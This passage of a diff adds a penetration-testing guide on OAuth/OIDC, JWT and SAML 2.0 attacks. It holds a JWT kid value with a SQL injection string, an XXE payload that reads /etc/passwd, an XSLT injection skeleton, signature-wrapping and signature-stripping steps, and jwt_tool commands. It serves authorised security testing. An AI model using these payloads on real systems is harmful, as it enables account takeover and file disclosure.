+ - **HMAC/RSA Key Confusion:** Changing `alg` from `RS256` to `HS256` and signing the token with the public key as the secret.
65
+ - **JKU/JWK Header Injection:** Instructing the server to fetch the public key (to verify the token) from an attacker-controlled URL (`jku`) or embedding the attacker's public key directly within the header (`jwk`).
66
+ - **kid (Key ID) Path Traversal:** `kid: "../../public/dev_key.pem"` or SQL injection `kid: "key1' UNION SELECT 'attacker_key'--"`.
67
+
68
+ ---
69
+
70
+ ## SAML 2.0
71
+
72
+ Security Assertion Markup Language (SAML) uses XML-based assertions between an Identity Provider (IdP) and a Service Provider (SP).
73
+
74
+ ### Core SAML 2.0 Attack Vectors
75
+
76
+ #### 1. XML Signature Wrapping (XSW)
77
+ SAML messages are digitally signed, but SPs often fail to validate *which* part of the XML is signed versus which part is processed for authentication. XSW involves manipulating the XML structure so the signature validates against an original, unmodified assertion, while the application logic parses a forged, injected assertion.
78
+ - **XSW1:** Clone the `Response` and wrap the legitimate assertion.
79
+ - **XSW2:** Wrap the forged assertion inside the legitimate assertion.
80
+ - **XSW3-8:** Various structural manipulations (changing IDs, duplicating `Assertion` blocks, wrapping the signature itself).
81
+ - **Tooling:** Use `SAML Raider` (Burp Extension) to automatically generate XSW 1-8 payloads.
82
+
83
+ #### 2. Signature Stripping
84
+ If the SP requires assertions to be signed but doesn't strictly enforce it, an attacker might simply remove the `<ds:Signature>` block entirely. If the SP falls back to unauthenticated parsing, ATO occurs.
85
+
86
+ #### 3. Certificate Faking / IdP Spoofing
87
+ If the SP doesn't explicitly check the thumbprint or issuer of the certificate signing the SAML response (relying solely on cryptographic validity), an attacker can sign a forged SAML response with their own self-signed certificate.
88
+
89
+ #### 4. SAML Comment Injection
90
+ If the XML parser behavior differs from the application logic string parsing, attackers can alter user identifiers.
91
+ - **Attack:** An attacker registers `admin<!-- test -->@target.com`.
92
+ - **Execution:** When authenticated, the SAML XML contains `<NameID>admin<!-- test -->@target.com</NameID>`.
93
+ - **Bypass:** The XML parser validates the signature. However, if the application extracts the text node and ignores comments, it might interpret the identity as `admin@target.com`, leading to ATO of the admin account.
94
+
95
+ #### 5. XML External Entity (XXE) Execution
96
+ Standard XXE attacks against the SAML SP endpoint. Since SAML is purely XML, injecting external entities into the `SAMLResponse` can result in LFI or SSRF.
97
+ ```xml
98
+ <?xml version="1.0" encoding="UTF-8"?>
99
+ <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
100
+ <samlp:Response ...>
101
+ <saml:Issuer>&xxe;</saml:Issuer>
102
+ ...
103
+ </samlp:Response>
104
+ ```
105
+
106
+ #### 6. XSLT Injection
107
+ Some SAML implementations parse arbitrary XSLT stylesheets included within the XML Signature `<ds:Transforms>` block. Attackers can inject malicious XSLT to achieve RCE or file read.
108
+ ```xml
109
+ <ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116">
110
+ <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
111
+ ... malicious XSLT payloads ...
112
+ </xsl:stylesheet>
113
+ </ds:Transform>
114
+ ```
115
+
116
+ ## Testing Methodology
117
+
118
+ ### For OAuth 2.0 / OIDC
119
+ 1. **Map the Implementation:** Identify `client_id`, `redirect_uri`, `response_type`, `state`, `code_challenge`.
120
+ 2. **State & CSRF Testing:** Drop the `state` parameter or swap it with another session's state. Attempt an account linking CSRF.
121
+ 3. **Redirect URI Fuzzing:** Test all variations of open redirects (`.`, `..`, `@`, `\`, encoded characters) on the `redirect_uri`.
122
+ 4. **Token Replay & Modification:** Inspect access tokens and ID tokens. If JWT, attempt algorithm downgrade, key confusion, and signature bypass.
123
+ 5. **SSRF Probes:** Check if DCR is enabled (`/.well-known/openid-configuration`). Test `logo_uri` and `request_uri` for SSRF.
124
+ 6. **Pre-ATO Checks:** Register an account natively using a victim's email. Then attempt to SSO as the victim.
125
+
126
+ ### For SAML 2.0
127
+ 1. **Intercept SAMLResponse:** Base64 decode the SAML payload passed to the ACS (Assertion Consumer Service) URL.
128
+ 2. **Signature Stripping:** Remove the signature block entirely, re-encode, and submit.
129
+ 3. **SAML Raider Autotests:** Use the SAML Raider extension in Burp Suite to apply all XSW payloads to the intercepted request.
130
+ 4. **XXE Probing:** Inject standard XXE payloads (OOB and error-based) into the assertion tags.
131
+ 5. **Comment Injection:** Create accounts like `admin<!--X-->@domain.com` and test for username truncation during parsing.
132
+ 6. **Time/Validity Tampering:** Modify `NotBefore` and `NotOnOrAfter` timestamps within the assertion.
133
+
134
+ ## Detection Tools
135
+
136
+ ```bash
137
+ # jwt_tool - Toolkit for testing JWTs (OIDC)
138
+ python3 jwt_tool.py <JWT> -M pb
139
+ python3 jwt_tool.py <JWT> -T
140
+
141
+ # SAML Provider assessment
142
+ # Use Burp Suite SAML Raider extension.
143
+ # It automatically intercepts SAML responses, decodes them, and provides 1-click XSW and certificate spoofing attacks.
144
+ ```
145
+
146
+ ## Indicators of Vulnerability
147
+
148
+ - **OAuth:** Predictable `state` parameters; acceptance of `redirect_uri` via Regex rather than strict allowlists; JWTs signed with symmetric algorithms (`HS256`) when relying on public endpoints.
149
+ - **SAML:** Missing constraints on XML signatures (e.g., signing the `Response` but not the `Assertion`); outdated XML parsers allowing DTD definitions (XXE); lack of assertion expiration enforcement.
150
+
151
+ ## Impact
152
+
153
+ - **Account Takeover (ATO):** Full access to victim accounts (via XSW, signature stripping, CSRF, or flawed account linking).
154
+ - **Data Exfiltration:** Accessing sensitive user data (PII) via stolen or leaked Access Tokens.
155
+ - **SSRF/RCE:** Exploiting IdP infrastructure via XSLT injection or `request_uri` SSRF.
156
+ - **Bypass 2FA/MFA:** SAML assertions or OAuth tokens are often granted *after* MFA. Forging these tokens bypasses all primary and secondary authentication mechanisms.
157
+
158
+ ## Pro Tips
159
+
160
+ 1. **URL Encoding with SAML:** SAML bindings differ. HTTP-Redirect uses Deflate + Base64 + URL-encode. HTTP-POST uses just Base64 + URL-encode. Modifying SAML manually? Ensure proper re-encoding based on the binding type.
161
+ 2. **Access Token vs ID Token:** In OIDC, the Access Token gives access to APIs (stateless or stateful), while the ID Token is meant for the client app to know *who* logged in. Don't confuse them.
162
+ 3. **SAML Issuer Checking:** Just because an XSW attack works, the SP might still validate the `Issuer` field. Ensure you are modifying the correct assertion block that the SP uses for business logic.
163
+ 4. **Implicit Flow is Dead:** The OAuth 2.0 Security Best Current Practice deprecates the Implicit Flow (`response_type=token`). If you see it, flag it as a finding and aggressively hunt for token leakage via Referer headers, Open Redirects, and browser histories.